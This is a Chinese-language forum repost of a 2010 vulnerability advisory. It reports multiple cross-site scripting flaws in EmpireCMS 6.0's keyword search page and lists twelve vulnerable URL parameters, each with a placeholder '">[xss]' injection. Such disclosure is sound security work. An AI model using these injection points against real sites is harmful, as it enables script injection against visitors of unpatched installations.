标题:
帝国(EmpireCMS)6.0 /search/keyword/index.php 存在多个跨站漏洞
[打印本页]
作者:
keylong
时间:
2010-6-4 23:07
标题:
帝国(EmpireCMS)6.0 /search/keyword/index.php 存在多个跨站漏洞
帝国(EmpireCMS)6.0 /search/keyword/index.php 存在多个跨站漏洞
文章录入:浣花溪 责任编辑:snow 18
【字体:小 大】
影响版本:
帝国(EmpireCMS)6.0
漏洞描述:
帝国软件是一家专注于网络软件开发的科技公司,其主营产品“帝国网站管理系统(EmpireCMS)”是目前国内应用最广泛的CMS程序。通过多年的不断创新与完善,使系统集安全、强大、稳定、灵活于一身。
目前EmpireCMS程序已经广泛应用在国内数十万家网站,覆盖国内上千万上网人群,并经过上千家知名网站的严格检测,被称为国内最稳定的CMS系统。
/search/keyword/index.php 存在多个跨站漏洞<*参考
s1@sebug.net
http://sebug.net/vulndb/19733/
*>
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
http://ssvdb.com/search/keyword/index.php?show=3
">[xss]
http://ssvdb.com/search/keyword/index.php?classid=3
">[xss]
http://ssvdb.com/search/keyword/index.php?tbname=3
">[xss]
http://ssvdb.com/search/keyword/index.php?tempid=3
">[xss]
http://ssvdb.com/search/keyword/index.php?starttime=3
">[xss]
http://ssvdb.com/search/keyword/index.php?endtime=3
">[xss]
http://ssvdb.com/search/keyword/index.php?startprice=3
">[xss]
http://ssvdb.com/search/keyword/index.php?endprice=3
">[xss]
http://ssvdb.com/search/keyword/index.php?orderby=3
">[xss]
http://ssvdb.com/search/keyword/index.php?myorder=3
">[xss]
http://ssvdb.com/search/keyword/index.php?keyboard=3
">[xss]
http://ssvdb.com/search/keyword/index.php?allsame=3
">[xss]SEBUG安全建议:
厂商补丁:
phome.net
------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./)
Powered by Discuz! 7.2